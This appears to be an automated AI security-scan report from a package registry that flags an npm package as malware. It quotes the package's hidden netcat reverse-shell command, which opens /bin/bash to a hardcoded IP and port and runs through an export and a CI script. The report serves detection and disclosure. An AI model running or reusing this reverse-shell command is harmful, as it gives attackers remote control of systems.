registry / internallib_v234 / 1.0.6

internallib_v234@1.0.6

AI Security Review

scanned 5h ago · by lpm-firewall-ai

The package entrypoint exposes a command that launches a netcat reverse shell to a hardcoded private IP and port. A bundled check script and CI config invoke that command.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Calling exports.command(), including via node check.js in CI

Impact

Remote shell execution from the consuming environment when the command is invoked.

Mechanism

child_process exec netcat reverse shell

Attack narrative

When command() is invoked, index.js first checks for netcat and then executes a bash command that starts nc to 10.0.74.133:13337 with /bin/bash attached. The included check.js calls this export, and the GitLab CI config runs check.js, creating a reachable reverse-shell path in automated environments.

Rationale

Direct source inspection confirms concrete reverse-shell behavior reachable through the package export and bundled CI check script. This is not package-aligned functionality and enables unauthorized remote command execution.

Evidence

index.jscheck.jspackage.json.gitlab-ci.yml/bin/bash

Network endpoints1

10.0.74.133:13337

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports command() that runs child_process.exec.
index.js probes for nc with whereis nc.
index.js executes /bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash".
check.js imports internallib_v234 and calls command().
.gitlab-ci.yml runs node check.js after npm update, making the reverse shell reachable in CI.

Evidence against

package.json has no npm lifecycle hook.
No credential harvesting or file exfiltration code found beyond the reverse shell.

Behavioral surface

Source

ChildProcessShell

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 444 B of source

Source & flagged code

4 flagged

index.jsView file

1const { exec } = require('child_process'); L2: ... L5: L6: exec('whereis nc', (error, stdout, stderr) => { L7: if (error) { ... L13: L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { exec } = require('child_process'); L2: ... L5: L6: exec('whereis nc', (error, stdout, stderr) => { L7: if (error) { ... L13: L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { exec } = require('child_process'); L2:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L1

13L14: exec('/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"'); L15:

High

Shell